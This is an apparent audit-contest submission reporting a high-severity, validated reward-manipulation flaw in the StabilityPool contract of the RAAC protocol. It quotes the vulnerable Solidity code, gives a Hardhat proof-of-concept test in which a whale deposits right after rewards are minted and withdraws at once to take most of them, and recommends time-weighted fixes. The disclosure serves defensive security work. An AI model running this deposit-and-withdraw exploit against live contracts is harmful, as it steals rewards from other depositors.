Core Contracts

Regnum Aurum Acquisition Corp
HardhatReal World AssetsNFT
77,280 USDC
View results
Submission Details
Severity: high
Valid

The `StabilityPool` contract allows large fund depositors to manipulate reward distribution, resulting in unfair allocation of `RAACToken` rewards.

Summary

The StabilityPool contract allows large fund depositors to manipulate reward distribution, resulting in unfair allocation of RAACToken rewards.

Vulnerability Details

The issue stems from how RAACToken rewards are minted and distributed.

In the _update() function, _mintRAACRewards() is called, which triggers raacMinter.tick(), minting RAACToken for the StabilityPool. However, there is no mechanism to track how long a user has held their deposit before becoming eligible for rewards.

// StabilityPool::_update()
function _update() internal {
_mintRAACRewards();
}
// StabilityPool::_mintRAACRewards()
function _mintRAACRewards() internal {
if (address(raacMinter) != address(0)) {
raacMinter.tick();
}
}

The deposit() function does not update any user-specific reward tracking information. This allows an attacker to deposit a large amount of funds, influencing the reward calculation, and then immediately withdraw them to claim an unfair share of the rewards.

// StabilityPool::deposit()
function deposit(uint256 amount) external nonReentrant whenNotPaused validAmount(amount) {
_update();
rToken.safeTransferFrom(msg.sender, address(this), amount);
uint256 deCRVUSDAmount = calculateDeCRVUSDAmount(amount);
deToken.mint(msg.sender, deCRVUSDAmount);
userDeposits[msg.sender] += amount;
_mintRAACRewards();
emit Deposit(msg.sender, amount, deCRVUSDAmount);
}

Similarly, in withdraw(), the contract calls calculateRaacRewards(), which determines the rewards for the caller. However, there are no restrictions preventing immediate withdrawals after a large deposit, meaning an attacker with sufficient funds can repeatedly deposit and withdraw, siphoning rewards from other users.

// StabilityPool::withdraw()
function withdraw(uint256 deCRVUSDAmount) external nonReentrant whenNotPaused validAmount(deCRVUSDAmount) {
_update();
if (deToken.balanceOf(msg.sender) < deCRVUSDAmount) revert InsufficientBalance();
uint256 rcrvUSDAmount = calculateRcrvUSDAmount(deCRVUSDAmount);
@> uint256 raacRewards = calculateRaacRewards(msg.sender);
if (userDeposits[msg.sender] < rcrvUSDAmount) revert InsufficientBalance();
userDeposits[msg.sender] -= rcrvUSDAmount;
if (userDeposits[msg.sender] == 0) {
delete userDeposits[msg.sender];
}
deToken.burn(msg.sender, deCRVUSDAmount);
rToken.safeTransfer(msg.sender, rcrvUSDAmount);
if (raacRewards > 0) {
raacToken.safeTransfer(msg.sender, raacRewards);
}
emit Withdraw(msg.sender, rcrvUSDAmount, deCRVUSDAmount, raacRewards);
}
// StabilityPool::calculateRaacRewards()
function calculateRaacRewards(address user) public view returns (uint256) {
uint256 userDeposit = userDeposits[user];
uint256 totalDeposits = deToken.totalSupply();
uint256 totalRewards = raacToken.balanceOf(address(this));
if (totalDeposits < 1e6) return 0;
return (totalRewards * userDeposit) / totalDeposits;
}

Poc

Add the following test to test/unit/core/pools/StabilityPool/StabilityPool.test.js and execute it:

describe("Whale Deposit Withdrawal Bonus", function () {
describe("Init", function () {
beforeEach(async function () {
const depositAmount1 = ethers.parseEther("1000");
const depositAmount2 = ethers.parseEther("100");
// Setup for user1
await crvusd.mint(user1.address, depositAmount1);
await crvusd.connect(user1).approve(lendingPool.target, depositAmount1);
await lendingPool.connect(user1).deposit(depositAmount1);
await rToken.connect(user1).approve(stabilityPool.target, depositAmount1);
// Setup for user2
await crvusd.mint(user2.address, depositAmount2);
await crvusd.connect(user2).approve(lendingPool.target, depositAmount2);
await lendingPool.connect(user2).deposit(depositAmount2);
await rToken.connect(user2).approve(stabilityPool.target, depositAmount2);
});
it("Withdraw Rewards", async function () {
// user2 deposits 100e18
await stabilityPool.connect(user2).deposit(ethers.parseEther("100"));
// Distribute rewards
await ethers.provider.send("evm_increaseTime", [86400]);
await ethers.provider.send("evm_mine");
await raacMinter.tick();
// Store expected rewards before the attack
const user2ExpectedRewardsBeforeAttack = await stabilityPool.calculateRaacRewards(user2.address);
console.log("user2 Expected Rewards Before Attack:",user2ExpectedRewardsBeforeAttack);
// ❌ After the reward is issued, user1 immediately deposits 1000e18
await stabilityPool.connect(user1).deposit(ethers.parseEther("1000"));
// Check expected rewards after the attack
const user2ExpectedRewardsAfterAttack = await stabilityPool.calculateRaacRewards(user2.address);
console.log("user2 Expected Rewards After Attack:",user2ExpectedRewardsAfterAttack);
// User1 withdraws immediately and collects rewards
await stabilityPool.connect(user1).withdraw(ethers.parseEther("1000"));
// Store actual rewards received by user1
const user1ActualRewards = await raacToken.balanceOf(user1.address);
console.log("user1 Actual Rewards:",user1ActualRewards);
});
});
});

output:

StabilityPool
Whale Deposit Withdrawal Bonus
Init
user2 Expected Rewards Before Attack: 4368055555555555540n
user2 Expected Rewards After Attack: 409722222222222220n
user1 Actual Rewards: 4223484848484848469n
✔ Withdraw Rewards (5207ms)

Even if the attacker does not have a lot of funds, he can still execute the same call multiple times and steal a large amount of rewards.

Impact

A malicious user with substantial funds can repeatedly deposit and withdraw to manipulate the reward distribution, effectively siphoning rewards from other users. This leads to unfair distribution and potential financial losses for long-term depositors.

Tools Used

Manual Review

Recommendations

Introduce a reward vesting mechanism or modify the reward calculation to factor in deposit duration. Possible fixes include:

  1. Implementing a time-weighted reward calculation, ensuring that users are rewarded based on how long their funds have been staked.

  2. Introducing a minimum deposit duration before rewards can be claimed.

  3. Implementing a gradual reward accrual system, rather than distributing rewards immediately based on snapshot balances.

Updates

Lead Judging Commences

inallhonesty Lead Judge 4 months ago
Submission Judgement Published
Validated
Assigned finding tags:

StabilityPool::calculateRaacRewards is vulnerable to just in time deposits

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.